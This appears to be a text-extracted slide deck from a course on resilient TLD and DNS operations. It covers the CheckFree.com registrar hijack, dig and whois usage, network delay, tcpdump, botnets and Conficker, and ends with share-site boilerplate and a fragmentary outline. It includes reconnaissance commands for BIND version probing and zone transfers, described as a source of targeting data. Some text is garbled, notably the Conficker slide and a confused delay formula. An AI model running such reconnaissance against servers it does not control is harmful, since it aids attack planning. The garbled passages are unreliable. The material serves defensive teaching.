their customer to pay their bills electronically via
CheckFree.com services
214
December 2, 2008, at about 0030 EST, an attacker modified
the authoritative nameserver registration for
CheckFree.com
Used an on-line control panel belonging to Network Solutions
(CheckFree.coms registrar)
Pointed the registration to Network Solutions free nameserver
at nsXX.worldnic.com
Attacker updated all the addresses records for

CheckFree.com hosts to a server physically located in the
Ukraine
Customers to CheckFree.com and its subdomain sites (e.g.
example.checkfree.com) were directed to the malicious
server and were subjected to malware download attempts
targeting vulnerabilities in Adobe Acrobat and Adobe
Reader
215
Customers visiting the site were presented with a
blank page instead of the normal bill payment site.
At best, customers were denied access to their bill
payment service; at worst, customers were infected
with malware.
216
CheckFree.com Epilogue
Attacker had compromised CheckFree.coms control panel
username and password used to access their registration
data at Network Solutions. Interestingly enough, Network
Solutions had warned its customers of a phishing attack
that attempted to solicit credentials via a website spoofed
to look like Network Solutions own site
The motivation for the attack appeared to be malware
distribution
217
CheckFree.com Epilogue
Estimated 160,000 users of CheckFree.com may

have been affected by this attack
It took 8 hours for CheckFree.com to regain
control of their registration information, and an
additional 48 hours to propagate the updated
information out via the DNS
the TTL for the records had been purposely changed
to a very high value to ensure the affect of the attack
would last beyond any immediate mitigation steps
taken by CheckFree.com or Network Solutions
The impact was far reaching as numerous

financial institutions shut down their bill pay
services.
218
CheckFree.com Analysis
CheckFree.com used the DNS to simplify administrative tasks

Used hostnames under its domain to setup new customers and perform administration
without affecting its customers
Integrity of the DNS must remain reliably controlled in order to prevent

malicious activity
Response and recovery were further hampered by unverified contact
information and the large TTL set by the attacker
DNS nameserver caches cant be updated externally and there is no standard
process for contacting ISP to request flushing the caches to mitigate an attack
like this
CF Customer Site
(Bank)
CF Customer Site
(Utility)
bank.checkfree.com
utility.checkfreeweb.com
CheckFree.com
Bill Pay Server
ecom.mycheckfree.com
CF Customer Site
(E-Commerce)
219
INTERACTING WITH THE DNS
22
0
Interacting with the DNS
4 out of 5 DNS operators

prefer dig to nslookup!
Dig the preferred DNS tool with more robust

troubleshooting capabilities.
Natively found on Linux but not Windows
On your terminal, > dig www.first.org
Query
Answer
Server Queried
221

Dig Querying a Different DNS Server
Recall Open Resolvers
In your terminal > dig @8.8.8.8 www.first.org
Server Queried
You Should Get the

Same Answer!
222

Dig Domain name doesnt exist
In your terminal > dig www.firstabcd.org
Status
As told by
NOERROR
NXDOMAIN
SRVFAIL
REFUSED
NOTIMP
223

Dig Locating other record types
In your terminal > dig first.org mx
MX, not A
Mail Servers
A
AAAA
NS
MX
TXT
224

Dig Locating Bind Version
In your terminal > dig @rip.psg.com ch
version.bind txt
Which Server
Version
This doesnt work everywhere.

See nsza.is.co.za
225

Dig tracing a query
In your terminal > dig +trace www.first.org
Remember the Tree
Received from
localhost server
Received from
root server
Received from
.ORG server
Received from
first.org server
226

Dig simplified output
In your terminal > dig +short www.first.org
It Wouldnt Be the Preferred DNS Utility if it Didnt Offer a

Simple Mode!
227
Your VMs are Auth Servers

for .foo
Dig Zone Transfers

In your terminal > dig @localhost foo. axfr
All records in the

zone
A Lot of Servers Have AXFR Restricted to Certain IPs With

Good Reason I Can Get Targeting Data From It!
228

WHOIS
Displays the registration information for a
domain
In your terminal, > whois
h org.whois Any
information provided
servers.net icann.org
by the registrant and
made available by the
registrar will be shown
Malicious Use
Identity theft
Well discuss more
about this later
229
Definitions
PERFORMANCE MONITORING
23
0
Types of Delay
Causes of end-to-end delay:
Processor delays
Buffer delays
Transmission delays
Propagation delays
231
Processing Delay
Required time to analyze a packet header and
decide where to send the packet (eg. a
routing decision)
Inside a router this depends on the number of
entries in the routing table, the implementation
of data structures, hardware in use, etc.
This can include error verification /

checksumming (i.e. IPv4 header checksum)
232
Queuing Delay
The time a packet is enqueued until it is
transmitted
The number of packets waiting in the queue
will depend on traffic intensity and of the
type of traffic
Router queue algorithms try to adapt delays
to specific preferences, or impose equal delay
on all traffic.
233
Transmission Delay
The time required to push all the bits in a
packet on the transmission medium in use
For N=Number of bits, S=Size of packet, d=delay
d = S/N
For example, to transmit 1024 bits using Fast
Ethernet (100Mbps):
d = 1024/1x10e8 = 10.24 micro seconds
234
Propagation Delay
Once a bit is 'pushed' on to the transmission
medium, the time required for the bit to
propagate to the end of its physical trajectory
The velocity of propagation of the circuit
depends mainly on the actual distance of the
physical circuit
In the majority of cases this is close to the
speed of light.
For d = distance, s = propagation velocity
PD = d/s
235
Transmission vs. Propagation

Can be confusing at first
Consider this example:
Two 100 Mbps circuits
1 km of optic fiber
Via satellite with a distance of 30 km between
the base and the satellite
For two packets of the same size which will

have the larger transmission delay?
Propagation delay?
236
Packet Loss
Occurs due to the fact that buffers are not

infinite in size
- When a packet arrives to a buffer that is full the packet is
discarded.
- Packet loss, if it must be corrected, is resolved at higher
levels in the network stack (transport or application
layers)
- Loss correction using retransmission of packets can cause

yet more congestion if some type of (flow) control is not
used (to inform the source that it's pointless to keep
sending more packets at the present time)
237
Flow Control and Congestion

Limits the transmission amount (rate)
because the receiver cannot process packets
at the same rate that packets are arriving.
Limit the amount sent (transmission rate)
because of loss or delays in the circuit.
238
Controls in TCP
IP (Internet Protocol) implements service that
not connection oriented.
There is no mechanism in IP to deal with packet
loss.
TCP (Transmission Control Protocol)

implements flow and congestion control.
Only on the ends as the intermediate nodes at
the network level do not talk TCP
239
Congestion vs. Flow in TCP

Flow: controlled by window size (RcvWindow),
which is sent by the receiving end.
Congestion: controlled by the value of the
congestion window (Congwin)
Maintained independently by the sender
This varies based on the detection of packets lost
Timeout or receiving three ACKs repeated
Behaviors:
Additive Increments / Multiplicative Decrements (AIMD)
Slow Start
React to timeout events
240
Different TCP Congestion Control

Algorithms
241
Load Average
Average number of active processes in the
last 1, 5 and 15 minutes
A simple yet useful measurement
Depending on the machine the acceptable range
considered to be normal can vary:
Multi-processor machines can handle more active
processes per unit of time (than single processor
machines)
242
top
Some useful interactive keyboard commands
for top
f
F
<,>
u
k
d,s
: Add or remove columns

: Specify which column to order by
: Move the column on which we order
: Specify a specific user
: Specify a process to kill (stop)
: Change the display update interval
243
tcpdump
Show received packet headers by a given
interface. Optionally filter using boolean
expressions.
Allows you to write information to a file for
later analysis.
Requires administrator (root) privileges to use
since you must configure network interfaces
(NICs) to be in promiscuous mode.
244
tcpdump
Some useful options:
-i :
-l :
you
Specify the interface (ex: -i eth0)

Make stdout line buffered (view as
capture)
-v, -vv, -vvv: Display more information
-n :
Don't convert addresses to names
(avoid DNS)
-nn :
Don't translate port numbers
-w :
Write raw packets to a file
-r :
Read packets from a file created by
245
tcpdump
Boolean expressions:
Using the 'AND', 'OR', 'NOT' operators
Expressions consist of one, or more, primtives,
which consist of a qualifier and an ID (name or
number):
Expression ::= [NOT] <primitive> [ AND | OR | NOT
<primitive> ...]
<primitive> ::= <qualifier> <name|number>
<qualifier> ::= <type> | <address> | <protocol>
<type> ::= host | net | port | port range
<address> ::= src | dst
<protocol> ::= ether | fddi | tr | wlan | ip | ip6 | arp |
246
tcpdump
Examples:
Show all HTTP traffic that originates from
192.168.1.1
# tcpdump -lnXvvv port 80 and src host 192.168.1.1
- Show all traffic originating from

192.168.1.1 except SSH
# tcpdump -lnXvvv src host 192.168.1.1 and not port 22
247
Wireshark
Wireshark is a graphical packet analyser
based on libpcap, the same library that
tcpdump utilizes for capturing and storing
packets
The graphical interface has some advantages, including:
Hierarchical visualization by protocol (drill-down)
Follow a TCP conversation (Follow TCP Stream)
Colors to distinguish traffic types
Lots of statistics, graphs, etc.
248
Wireshark
Wireshark is what came after Ethereal.
The combination of tcpdump and wireshark
can be quite powerful. For example:
# tcpdump -i eth1 -A -s1500 -2 dump.log port 21
$ sudo wireshark -r dump.log
249
Wireshark
250
Supplemental Information
DNS THREATS
25
1
Foothold Attacks Example
Checkfree.com
Special thanks to Rod Rasmussen

of Internet Identity for
contributing source material for
this study.
252

December 2, 2008, at about 0030 EST, an attacker
modified the authoritative nameserver registration for
CheckFree.com
Used an on-line control panel belonging to Network
Solutions (CheckFree.coms registrar)
Pointed the registration to Network Solutions free
nameserver at nsXX.worldnic.com

CheckFree.com hosts to a server physically located in
the Ukraine
It is believed that CheckFree.coms Network Solutions
control panel credentials were compromised by a
phishing attack and used to change the nameserver
registrations
253

December 2, 2008, at about 0030 EST, an attacker
modified the authoritative nameserver registration for
CheckFree.com
Used an on-line control panel belonging to Network
Solutions (CheckFree.coms registrar)
Pointed the registration to Network Solutions free
nameserver at nsXX.worldnic.com

CheckFree.com hosts to a server physically located in
the Ukraine
It is believed that CheckFree.coms Network Solutions
control panel credentials were compromised by a
phishing attack and used to change the nameserver
registrations
254
Disruption Attacks
Bot Herder Establishes a Presence

255
255
Disruption Attacks
Bot Herder Creates a Delivery System

- Delivers BotNet Payload to Hosts
256
Delta Risk, LLC 2009
256
Disruption Attacks
Bot Herder Creates DNS Control Server

- Issues Commands to Bots
- Receives Data From Bots
257
257
Disruption Attacks
Bot Herder Identifies Candidate Hosts

- Sends Baited E-Mail to Hosts
- Hosts Download Bot Malware from Server
- Hosts Become Zombies
258
258
Disruption Attacks
01
01
01
01
Bot Herder Identifies Target

- Issues Command via Control Server
- Zombies Receive Command from Server
- Zombies Locate Target
- Zombies Report Back to Server
259
259
Disruption Attacks
01
01
01
01
Bot Herder Launches Attack at Target

- Issues Command via Control Server
- Zombies Attack Target
- Bot Herder Issues Stop Command
260
260
Malicious Use Example Conficker

The Conficker Working Group (Conficker
Cabal) was started to address response
actions to the worm
Comprised of businesses, DNS operations,
Internet organizations, and security researchers
Requested top level organizations with suspected
domain names involved in Conficker to register
them in hopes of preempting Conficker activity
Conficker mutated to thwart activity of the

Working
started
using
How Would Group
Your ccTLDand
React to
a Request to
RegisterP2P
(at no cost)
Hundredsvs.
of Domain
methods
DNSNames to Prevent Malicious Activity?
261
Conficker - Years Later

Currently around 4.25M (million!) hosts still infected worldwide
Spam and malware
Could have been much worse! (still could be with 4+ million bots)
262
26
4

DNS Resilient

Transféré par

Informations du document

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

DNS Resilient

Transféré par

Droits d'auteur :

Formats disponibles

Introduction to

Resilient TLD Operations

Course Web Page

Questions before we begin?

What is the DNS?

The DNS is a distributed and hierarchical system of servers

What is the DNS?

Every computer accessible on the Internet has a

What is the DNS?

Ideally, the same answer is provided regardless of the DNS server

Thats a lot of room for malicious

DNS From Top To Bottom

All are independently run by

DNS From Top To Bottom

DNS From Top To Bottom

DNS From Top to Bottom

DNS From Top to Bottom

DNS From Top to Bottom

DNS From Top to Bottom

DNS From Top to Bottom

DNS From Top To Bottom

There are many of these

DNS From Top To Bottom

An operating system will typically

DNS From Top To Bottom

How Does All of This Stay in Sync?

DNS TLD REGISTRIES

Models Define How the Registry Operates

More stakeholders ->

Second level delegations fall under a generic

Registries can pick one or the other, or do both!

Notional ccTLD Architecture

Notional ccTLD Architecture

Registrant Requests Assignment, Updates, Removal

Notional ccTLD Architecture

Authentication for Registrant Requests

Notional ccTLD Architecture

Authorization for Internal

Notional ccTLD Architecture

Notional ccTLD Architecture

Notional ccTLD Architecture

Alternate Registry Server and Database

Notional ccTLD Architecture

Country Localized DNS Servers

Notional ccTLD Architecture

Country Localized User

Notional ccTLD Architecture

Notional ccTLD Architecture

Notional ccTLD Architecture

Notional ccTLD Architecture

Secondary Global DNS Server

Notional ccTLD Architecture

Secondary External Gateway

Notional ccTLD Architecture

Things that may restrict registrations to only local

Things that may encourage registration from

- Disputes may arise between current registrant a one that

Policy should define the notion of ownership, the

Policy should cover registrant data verification

This may be governed by local, national, or organizational

This policy should cover what information can be

This policy should address costs to registrants, registrars

Factors affecting permissible registrations:

Policy should account for: